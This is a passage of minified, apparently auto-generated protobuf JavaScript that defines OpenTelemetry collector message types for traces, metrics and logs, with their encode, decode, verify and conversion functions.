J!=="object"||J===null)return"object expected";if(J.partialSuccess!=null&&J.hasOwnProperty("partialSuccess")){var O=uA.opentelemetry.proto.collector.trace.v1.ExportTracePartialSuccess.verify(J.partialSuccess);if(O)return"partialSuccess."+O}return null},w.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.collector.trace.v1.ExportTraceServiceResponse)return J;var O=new uA.opentelemetry.proto.collector.trace.v1.ExportTraceServiceResponse;if(J.partialSuccess!=null){if(typeof J.partialSuccess!=="object")throw TypeError(".opentelemetry.proto.collector.trace.v1.ExportTraceServiceResponse.partialSuccess: object expected");O.partialSuccess=uA.opentelemetry.proto.collector.trace.v1.ExportTracePartialSuccess.fromObject(J.partialSuccess)}return O},w.toObject=function(J,O){if(!O)O={};var X={};if(O.defaults)X.partialSuccess=null;if(J.partialSuccess!=null&&J.hasOwnProperty("partialSuccess"))X.partialSuccess=uA.opentelemetry.proto.collector.trace.v1.ExportTracePartialSuccess.toObject(J.partialSuccess,O);return X},w.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},w.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.collector.trace.v1.ExportTraceServiceResponse"},w}(),z.ExportTracePartialSuccess=function(){function w(H){if(H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}return w.prototype.rejectedSpans=null,w.prototype.errorMessage=null,w.create=function(J){return new w(J)},w.encode=function(J,O){if(!O)O=l5.create();if(J.rejectedSpans!=null&&Object.hasOwnProperty.call(J,"rejectedSpans"))O.uint32(8).int64(J.rejectedSpans);if(J.errorMessage!=null&&Object.hasOwnProperty.call(J,"errorMessage"))O.uint32(18).string(J.errorMessage);return O},w.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},w.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.collector.trace.v1.ExportTracePartialSuccess;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 1:{_.rejectedSpans=J.int64();break}case 2:{_.errorMessage=J.string();break}default:J.skipType(G&7);break}}return _},w.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},w.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";if(J.rejectedSpans!=null&&J.hasOwnProperty("rejectedSpans")){if(!FA.isInteger(J.rejectedSpans)&&!(J.rejectedSpans&&FA.isInteger(J.rejectedSpans.low)&&FA.isInteger(J.rejectedSpans.high)))return"rejectedSpans: integer|Long expected"}if(J.errorMessage!=null&&J.hasOwnProperty("errorMessage")){if(!FA.isString(J.errorMessage))return"errorMessage: string expected"}return null},w.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.collector.trace.v1.ExportTracePartialSuccess)return J;var O=new uA.opentelemetry.proto.collector.trace.v1.ExportTracePartialSuccess;if(J.rejectedSpans!=null){if(FA.Long)(O.rejectedSpans=FA.Long.fromValue(J.rejectedSpans)).unsigned=!1;else if(typeof J.rejectedSpans==="string")O.rejectedSpans=parseInt(J.rejectedSpans,10);else if(typeof J.rejectedSpans==="number")O.rejectedSpans=J.rejectedSpans;else if(typeof J.rejectedSpans==="object")O.rejectedSpans=new FA.LongBits(J.rejectedSpans.low>>>0,J.rejectedSpans.high>>>0).toNumber()}if(J.errorMessage!=null)O.errorMessage=String(J.errorMessage);return O},w.toObject=function(J,O){if(!O)O={};var X={};if(O.defaults){if(FA.Long){var $=new FA.Long(0,0,!1);X.rejectedSpans=O.longs===String?$.toString():O.longs===Number?$.toNumber():$}else X.rejectedSpans=O.longs===String?"0":0;X.errorMessage=""}if(J.rejectedSpans!=null&&J.hasOwnProperty("rejectedSpans"))if(typeof J.rejectedSpans==="number")X.rejectedSpans=O.longs===String?String(J.rejectedSpans):J.rejectedSpans;else X.rejectedSpans=O.longs===String?FA.Long.prototype.toString.call(J.rejectedSpans):O.longs===Number?new FA.LongBits(J.rejectedSpans.low>>>0,J.rejectedSpans.high>>>0).toNumber():J.rejectedSpans;if(J.errorMessage!=null&&J.hasOwnProperty("errorMessage"))X.errorMessage=J.errorMessage;return X},w.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},w.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.collector.trace.v1.ExportTracePartialSuccess"},w}(),z}(),Y}(),q.metrics=function(){var Y={};return Y.v1=function(){var z={};return z.MetricsService=function(){function w(H,J,O){oK.rpc.Service.call(this,H,J,O)}return(w.prototype=Object.create(oK.rpc.Service.prototype)).constructor=w,w.create=function(J,O,X){return new this(J,O,X)},Object.defineProperty(w.prototype.export=function H(J,O){return this.rpcCall(H,uA.opentelemetry.proto.collector.metrics.v1.ExportMetricsServiceRequest,uA.opentelemetry.proto.collector.metrics.v1.ExportMetricsServiceResponse,J,O)},"name",{value:"Export"}),w}(),z.ExportMetricsServiceRequest=function(){function w(H){if(this.resourceMetrics=[],H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}return w.prototype.resourceMetrics=FA.emptyArray,w.create=function(J){return new w(J)},w.encode=function(J,O){if(!O)O=l5.create();if(J.resourceMetrics!=null&&J.resourceMetrics.length)for(var X=0;X<J.resourceMetrics.length;++X)uA.opentelemetry.proto.metrics.v1.ResourceMetrics.encode(J.resourceMetrics[X],O.uint32(10).fork()).ldelim();return O},w.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},w.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.collector.metrics.v1.ExportMetricsServiceRequest;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 1:{if(!(_.resourceMetrics&&_.resourceMetrics.length))_.resourceMetrics=[];_.resourceMetrics.push(uA.opentelemetry.proto.metrics.v1.ResourceMetrics.decode(J,J.uint32()));break}default:J.skipType(G&7);break}}return _},w.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},w.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";if(J.resourceMetrics!=null&&J.hasOwnProperty("resourceMetrics")){if(!Array.isArray(J.resourceMetrics))return"resourceMetrics: array expected";for(var O=0;O<J.resourceMetrics.length;++O){var X=uA.opentelemetry.proto.metrics.v1.ResourceMetrics.verify(J.resourceMetrics[O]);if(X)return"resourceMetrics."+X}}return null},w.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.collector.metrics.v1.ExportMetricsServiceRequest)return J;var O=new uA.opentelemetry.proto.collector.metrics.v1.ExportMetricsServiceRequest;if(J.resourceMetrics){if(!Array.isArray(J.resourceMetrics))throw TypeError(".opentelemetry.proto.collector.metrics.v1.ExportMetricsServiceRequest.resourceMetrics: array expected");O.resourceMetrics=[];for(var X=0;X<J.resourceMetrics.length;++X){if(typeof J.resourceMetrics[X]!=="object")throw TypeError(".opentelemetry.proto.collector.metrics.v1.ExportMetricsServiceRequest.resourceMetrics: object expected");O.resourceMetrics[X]=uA.opentelemetry.proto.metrics.v1.ResourceMetrics.fromObject(J.resourceMetrics[X])}}return O},w.toObject=function(J,O){if(!O)O={};var X={};if(O.arrays||O.defaults)X.resourceMetrics=[];if(J.resourceMetrics&&J.resourceMetrics.length){X.resourceMetrics=[];for(var $=0;$<J.resourceMetrics.length;++$)X.resourceMetrics[$]=uA.opentelemetry.proto.metrics.v1.ResourceMetrics.toObject(J.resourceMetrics[$],O)}return X},w.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},w.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.collector.metrics.v1.ExportMetricsServiceRequest"},w}(),z.ExportMetricsServiceResponse=function(){function w(H){if(H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}return w.prototype.partialSuccess=null,w.create=function(J){return new w(J)},w.encode=function(J,O){if(!O)O=l5.create();if(J.partialSuccess!=null&&Object.hasOwnProperty.call(J,"partialSuccess"))uA.opentelemetry.proto.collector.metrics.v1.ExportMetricsPartialSuccess.encode(J.partialSuccess,O.uint32(10).fork()).ldelim();return O},w.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},w.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.collector.metrics.v1.ExportMetricsServiceResponse;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 1:{_.partialSuccess=uA.opentelemetry.proto.collector.metrics.v1.ExportMetricsPartialSuccess.decode(J,J.uint32());break}default:J.skipType(G&7);break}}return _},w.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},w.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";if(J.partialSuccess!=null&&J.hasOwnProperty("partialSuccess")){var O=uA.opentelemetry.proto.collector.metrics.v1.ExportMetricsPartialSuccess.verify(J.partialSuccess);if(O)return"partialSuccess."+O}return null},w.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.collector.metrics.v1.ExportMetricsServiceResponse)return J;var O=new uA.opentelemetry.proto.collector.metrics.v1.ExportMetricsServiceResponse;if(J.partialSuccess!=null){if(typeof J.partialSuccess!=="object")throw TypeError(".opentelemetry.proto.collector.metrics.v1.ExportMetricsServiceResponse.partialSuccess: object expected");O.partialSuccess=uA.opentelemetry.proto.collector.metrics.v1.ExportMetricsPartialSuccess.fromObject(J.partialSuccess)}return O},w.toObject=function(J,O){if(!O)O={};var X={};if(O.defaults)X.partialSuccess=null;if(J.partialSuccess!=null&&J.hasOwnProperty("partialSuccess"))X.partialSuccess=uA.opentelemetry.proto.collector.metrics.v1.ExportMetricsPartialSuccess.toObject(J.partialSuccess,O);return X},w.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},w.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.collector.metrics.v1.ExportMetricsServiceResponse"},w}(),z.ExportMetricsPartialSuccess=function(){function w(H){if(H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}return w.prototype.rejectedDataPoints=null,w.prototype.errorMessage=null,w.create=function(J){return new w(J)},w.encode=function(J,O){if(!O)O=l5.create();if(J.rejectedDataPoints!=null&&Object.hasOwnProperty.call(J,"rejectedDataPoints"))O.uint32(8).int64(J.rejectedDataPoints);if(J.errorMessage!=null&&Object.hasOwnProperty.call(J,"errorMessage"))O.uint32(18).string(J.errorMessage);return O},w.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},w.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.collector.metrics.v1.ExportMetricsPartialSuccess;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 1:{_.rejectedDataPoints=J.int64();break}case 2:{_.errorMessage=J.string();break}default:J.skipType(G&7);break}}return _},w.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},w.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";if(J.rejectedDataPoints!=null&&J.hasOwnProperty("rejectedDataPoints")){if(!FA.isInteger(J.rejectedDataPoints)&&!(J.rejectedDataPoints&&FA.isInteger(J.rejectedDataPoints.low)&&FA.isInteger(J.rejectedDataPoints.high)))return"rejectedDataPoints: integer|Long expected"}if(J.errorMessage!=null&&J.hasOwnProperty("errorMessage")){if(!FA.isString(J.errorMessage))return"errorMessage: string expected"}return null},w.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.collector.metrics.v1.ExportMetricsPartialSuccess)return J;var O=new uA.opentelemetry.proto.collector.metrics.v1.ExportMetricsPartialSuccess;if(J.rejectedDataPoints!=null){if(FA.Long)(O.rejectedDataPoints=FA.Long.fromValue(J.rejectedDataPoints)).unsigned=!1;else if(typeof J.rejectedDataPoints==="string")O.rejectedDataPoints=parseInt(J.rejectedDataPoints,10);else if(typeof J.rejectedDataPoints==="number")O.rejectedDataPoints=J.rejectedDataPoints;else if(typeof J.rejectedDataPoints==="object")O.rejectedDataPoints=new FA.LongBits(J.rejectedDataPoints.low>>>0,J.rejectedDataPoints.high>>>0).toNumber()}if(J.errorMessage!=null)O.errorMessage=String(J.errorMessage);return O},w.toObject=function(J,O){if(!O)O={};var X={};if(O.defaults){if(FA.Long){var $=new FA.Long(0,0,!1);X.rejectedDataPoints=O.longs===String?$.toString():O.longs===Number?$.toNumber():$}else X.rejectedDataPoints=O.longs===String?"0":0;X.errorMessage=""}if(J.rejectedDataPoints!=null&&J.hasOwnProperty("rejectedDataPoints"))if(typeof J.rejectedDataPoints==="number")X.rejectedDataPoints=O.longs===String?String(J.rejectedDataPoints):J.rejectedDataPoints;else X.rejectedDataPoints=O.longs===String?FA.Long.prototype.toString.call(J.rejectedDataPoints):O.longs===Number?new FA.LongBits(J.rejectedDataPoints.low>>>0,J.rejectedDataPoints.high>>>0).toNumber():J.rejectedDataPoints;if(J.errorMessage!=null&&J.hasOwnProperty("errorMessage"))X.errorMessage=J.errorMessage;return X},w.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},w.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.collector.metrics.v1.ExportMetricsPartialSuccess"},w}(),z}(),Y}(),q.logs=function(){var Y={};return Y.v1=function(){var z={};return z.LogsService=function(){function w(H,J,O){oK.rpc.Service.call(this,H,J,O)}return(w.prototype=Object.create(oK.rpc.Service.prototype)).constructor=w,w.create=function(J,O,X){return new this(J,O,X)},Object.defineProperty(w.prototype.export=function H(J,O){return this.rpcCall(H,uA.opentelemetry.proto.collector.logs.v1.ExportLogsServiceRequest,uA.opentelemetry.proto.collector.logs.v1.ExportLogsServiceResponse,J,O)},"name",{value:"Export"}),w}(),z.ExportLogsServiceRequest=function(){function w(H){if(this.resourceLogs=[],H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}return w.prototype.resourceLogs=FA.emptyArray,w.create=function(J){return new w(J)},w.encode=function(J,O){if(!O)O=l5.create();if(J.resourceLogs!=null&&J.resourceLogs.length)for(var X=0;X<J.resourceLogs.length;++X)uA.opentelemetry.proto.logs.v1.ResourceLogs.encode(J.resourceLogs[X],O.uint32(10).fork()).ldelim();return O},w.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},w.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.collector.logs.v1.ExportLogsServiceRequest;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 1:{if(!(_.resourceLogs&&_.resourceLogs.length))_.resourceLogs=[];_.resourceLogs.push(uA.opentelemetry.proto.logs.v1.ResourceLogs.decode(J,J.uint32()));break}default:J.skipType(G&7);break}}return _},w.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},w.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";if(J.resourceLogs!=null&&J.hasOwnProperty("resourceLogs")){if(!Array.isArray(J.resourceLogs))return"resourceLogs: array expected";for(var O=0;O<J.resourceLogs.length;++O){var X=uA.opentelemetry.proto.logs.v1.ResourceLogs.verify(J.resourceLogs[O]);if(X)return"resourceLogs."+X}}return null},w.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.collector.logs.v1.ExportLogsServiceRequest)return J;var O=new uA.opentelemetry.proto.collector.logs.v1.ExportLogsServiceRequest;if(J.resourceLogs){if(!Array.isArray(J.resourceLogs))throw TypeError(".opentelemetry.proto.collector.logs.v1.ExportLogsServiceRequest.resourceLogs: array expected");O.resourceLogs=[];for(var X=0;X<J.resourceLogs.length;++X){if(typeof J.resourceLogs[X]!=="object")throw TypeError(".opentelemetry.proto.collector.logs.v1.ExportLogsServiceRequest.resourceLogs: object expected");O.resourceLogs[X]=uA.opentelemetry.proto.logs.v1.ResourceLogs.fromObject(J.resourceLogs[X])}}return O},w.toObject=function(J,O){if(!O)O={};var X={};if(O.arrays||O.defaults)X.resourceLogs=[];if(J.resourceLogs&&J.resourceLogs.length){X.resourceLogs=[];for(var $=0;$<J.resourceLogs.length;++$)X.resourceLogs[$]=uA.opentelemetry.proto.logs.v1.ResourceLogs.toObject(J.resourceLogs[$],O)}return X},w.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},w.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.collector.logs.v1.ExportLogsServiceRequest"},w}(),z.ExportLogsServiceResponse=function(){function w(H){if(H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}return w.prototype.partialSuccess=null,w.create=function(J){return new w(J)},w.encode=function(J,O){if(!O)O=l5.create();if(J.partialSuccess!=null&&Object.hasOwnProperty.call(J,"partialSuccess"))uA.opentelemetry.proto.collector.logs.v1.ExportLogsPartialSuccess.encode(J.partialSuccess,O.uint32(10).fork()).ldelim();return O},w.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},w.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.collector.logs.v1.ExportLogsServiceResponse;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 1:{_.partialSuccess=uA.opentelemetry.proto.collector.logs.v1.ExportLogsPartialSuccess.decode(J,J.uint32());break}default:J.skipType(G&7);break}}return _},w.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},w.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";if(J.partialSuccess!=null&&J.hasOwnProperty("partialSuccess")){var O=uA.opentelemetry.proto.collector.logs.v1.ExportLogsPartialSuccess.verify(J.partialSuccess);if(O)return"partialSuccess."+O}return null},w.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.collector.logs.v1.ExportLogsServiceResponse)return J;var O=new uA.opentelemetry.proto.collector.logs.v1.ExportLogsServiceResponse;if(J.partialSuccess!=null){if(typeof J.partialSuccess!=="object")throw TypeError(".opentelemetry.proto.collector.logs.v1.ExportLogsServiceResponse.partialSuccess: object expected");O.partialSuccess=uA.opentelemetry.proto.collector.logs.v1.ExportLogsPartialSuccess.fromObject(J.partialSuccess)}return O},w.toObject=function(J,O){if(!O)O={};var X={};if(O.defaults)X.partialSuccess=null;if(J.partialSuccess!=null&&J.hasOwnProperty("partialSuccess"))X.partialSuccess=uA.opentelemetry.proto.collector.logs.v1.ExportLogsPartialSuccess.toObject(J.partialSuccess,O);return X},w.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},w.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.collector.logs.v1.ExportLogsServiceResponse"},w}(),z.ExportLogsPartialSuccess=function(){function w(H){if(H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}return w.prototype.rejectedLogRecords=null,w.prototype.errorMessage=null,w.create=function(J){return new w(J)},w.encode=function(J,O){if(!O)O=l5.create();if(J.rejectedLogRecords!=null&&Object.hasOwnProperty.call(J,"rejectedLogRecords"))O.uint32(8).int64(J.rejectedLogRecords);if(J.errorMessage!=null&&Object.hasOwnProperty.call(J,"errorMessage"))O.uint32(18).string(J.errorMessage);return O},w.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},w.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.collector.logs.v1.ExportLogsPartialSuccess;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 1:{_.rejectedLogRecords=J.int64();break}case 2:{_.errorMessage=J.string();break}default:J.skipType(G&7);break}}return _},w.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},w.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";if(J.rejectedLogRecords!=null&&J.hasOwnProperty("rejectedLogRecords")){if(!FA.isInteger(J.rejectedLogRecords)&&!(J.rejectedLogRecords&&FA.isInteger(J.rejectedLogRecords.low)&&FA.isInteger(J.rejectedLogRecords.high)))return"rejectedLogRecords: integer|Long expected"}if(J.errorMessage!=null&&J.hasOwnProperty("errorMessage")){if(!FA.isString(J.errorMessage))return"errorMessage: string expected"}return null},w.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.collector.logs.v1.ExportLogsPartialSuccess)return J;var O=new uA.opentelemetry.proto.collector.logs.v1.ExportLogsPartialSuccess;if(J.rejectedLogRecords!=null){if(FA.Long)(O.rejectedLogRecords=FA.Long.fromValue(J.rejectedLogRecords)).unsigned=!1;else if(typeof J.rejectedLogRecords==="string")O.rejectedLogRecords=parseInt(J.rejectedLogRecords,10);else if(typeof J.rejectedLogRecords==="number")O.rejectedLogRecords=J.rejectedLogRecords;else if(typeof J.rejectedLogRecords==="object")O.rejectedLogRecords=new FA.LongBits(J.rejectedLogRecords.low>>>0,J.rejectedLogRecords.high>>>0).toNumber()}if(J.errorMessage!=null)O.errorMessage=String(J.errorMessage);return O},w.toObject=function(J,O){if(!O)O={};var X={};if(O.defaults){if(FA.Long){var $=new FA.Long(0,0,!1);X.rejectedLogRecords=O.longs===String?$.toString():O.longs===Number?$.toNumber():$}else X.rejectedLogRecords=O.longs===String?"0":0;X.errorMessage=""}if(J.rejectedLogRecords!=null&&J.hasOwnProperty("rejectedLogRecords"))if(typeof J.rejectedLogRecords==="number")X.rejectedLogRecords=O.longs===String?String(J.rejectedLogRecords):J.rejectedLogRecords;else X.rejectedLogRecords=O.longs===String?FA.Long.prototype.toString.call(J.rejectedLogRecords):O.longs===Number?new FA.LongBits(J.rejectedLogRecords.low>>>0,J.rejectedLogRecords.high>>>0).toNumber():J.rejectedLogRecords;if(J.errorMessage!=null&&J.hasOwnProperty("errorMessage"))X.errorMessage=J.errorMessage;return X},w.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},w.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.collector.logs.v1.ExportLogsPartialSuccess"},w}(),z}(),Y}(),q}(),K.metrics=function(){var q={};return q.v1=function(){var Y={};return Y.MetricsData=function(){function z(w){if(this.resourceMetrics=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.resourceMetrics=FA.emptyArray,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.resourceMetrics!=null&&H.resourceMetrics.length)for(var O=0;O<H.resourceMetrics.length;++O)uA.opentelemetry.proto.metrics.v1.ResourceMetrics.encode(H.resourceMetrics[O],J.uint32(10).fork()).ldelim();return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.metrics.v1.MetricsData;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{if(!($.resourceMetrics&&$.resourceMetrics.length))$.resourceMetrics=[];$.resourceMetrics.push(uA.opentelemetry.proto.metrics.v1.ResourceMetrics.decode(H,H.uint32()));break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.resourceMetrics!=null&&H.hasOwnProperty("resourceMetrics")){if(!Array.isArray(H.resourceMetrics))return"resourceMetrics: array expected";for(var J=0;J<H.resourceMetrics.length;++J){var O=uA.opentelemetry.proto.metrics.v1.ResourceMetrics.verify(H.resourceMetrics[J]);if(O)return"resourceMetrics."+O}}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.metrics.v1.MetricsData)return H;var J=new uA.opentelemetry.proto.metrics.v1.MetricsData;if(H.resourceMetrics){if(!Array.isArray(H.resourceMetrics))throw TypeError(".opentelemetry.proto.metrics.v1.MetricsData.resourceMetrics: array expected");J.resourceMetrics=[];for(var O=0;O<H.resourceMetrics.length;++O){if(typeof H.resourceMetrics[O]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.MetricsData.resourceMetrics: object expected");J.resourceMetrics[O]=uA.opentelemetry.proto.metrics.v1.ResourceMetrics.fromObject(H.resourceMetrics[O])}}return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.resourceMetrics=[];if(H.resourceMetrics&&H.resourceMetrics.length){O.resourceMetrics=[];for(var X=0;X<H.resourceMetrics.length;++X)O.resourceMetrics[X]=uA.opentelemetry.proto.metrics.v1.ResourceMetrics.toObject(H.resourceMetrics[X],J)}return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.metrics.v1.MetricsData"},z}(),Y.ResourceMetrics=function(){function z(w){if(this.scopeMetrics=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.resource=null,z.prototype.scopeMetrics=FA.emptyArray,z.prototype.schemaUrl=null,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.resource!=null&&Object.hasOwnProperty.call(H,"resource"))uA.opentelemetry.proto.resource.v1.Resource.encode(H.resource,J.uint32(10).fork()).ldelim();if(H.scopeMetrics!=null&&H.scopeMetrics.length)for(var O=0;O<H.scopeMetrics.length;++O)uA.opentelemetry.proto.metrics.v1.ScopeMetrics.encode(H.scopeMetrics[O],J.uint32(18).fork()).ldelim();if(H.schemaUrl!=null&&Object.hasOwnProperty.call(H,"schemaUrl"))J.uint32(26).string(H.schemaUrl);return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.metrics.v1.ResourceMetrics;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 1:{$.resource=uA.opentelemetry.proto.resource.v1.Resource.decode(H,H.uint32());break}case 2:{if(!($.scopeMetrics&&$.scopeMetrics.length))$.scopeMetrics=[];$.scopeMetrics.push(uA.opentelemetry.proto.metrics.v1.ScopeMetrics.decode(H,H.uint32()));break}case 3:{$.schemaUrl=H.string();break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.resource!=null&&H.hasOwnProperty("resource")){var J=uA.opentelemetry.proto.resource.v1.Resource.verify(H.resource);if(J)return"resource."+J}if(H.scopeMetrics!=null&&H.hasOwnProperty("scopeMetrics")){if(!Array.isArray(H.scopeMetrics))return"scopeMetrics: array expected";for(var O=0;O<H.scopeMetrics.length;++O){var J=uA.opentelemetry.proto.metrics.v1.ScopeMetrics.verify(H.scopeMetrics[O]);if(J)return"scopeMetrics."+J}}if(H.schemaUrl!=null&&H.hasOwnProperty("schemaUrl")){if(!FA.isString(H.schemaUrl))return"schemaUrl: string expected"}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.metrics.v1.ResourceMetrics)return H;var J=new uA.opentelemetry.proto.metrics.v1.ResourceMetrics;if(H.resource!=null){if(typeof H.resource!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.ResourceMetrics.resource: object expected");J.resource=uA.opentelemetry.proto.resource.v1.Resource.fromObject(H.resource)}if(H.scopeMetrics){if(!Array.isArray(H.scopeMetrics))throw TypeError(".opentelemetry.proto.metrics.v1.ResourceMetrics.scopeMetrics: array expected");J.scopeMetrics=[];for(var O=0;O<H.scopeMetrics.length;++O){if(typeof H.scopeMetrics[O]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.ResourceMetrics.scopeMetrics: object expected");J.scopeMetrics[O]=uA.opentelemetry.proto.metrics.v1.ScopeMetrics.fromObject(H.scopeMetrics[O])}}if(H.schemaUrl!=null)J.schemaUrl=String(H.schemaUrl);return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.scopeMetrics=[];if(J.defaults)O.resource=null,O.schemaUrl="";if(H.resource!=null&&H.hasOwnProperty("resource"))O.resource=uA.opentelemetry.proto.resource.v1.Resource.toObject(H.resource,J);if(H.scopeMetrics&&H.scopeMetrics.length){O.scopeMetrics=[];for(var X=0;X<H.scopeMetrics.length;++X)O.scopeMetrics[X]=uA.opentelemetry.proto.metrics.v1.ScopeMetrics.toObject(H.scopeMetrics[X],J)}if(H.schemaUrl!=null&&H.hasOwnProperty("schemaUrl"))O.schemaUrl=H.schemaUrl;return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.metrics.v1.ResourceMetrics"},z}(),Y.ScopeMetrics=function(){function z(w){if(this.metrics=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.scope=null,z.prototype.metrics=FA.emptyArray,z.prototype.schemaUrl=null,z.create=function(H){return new 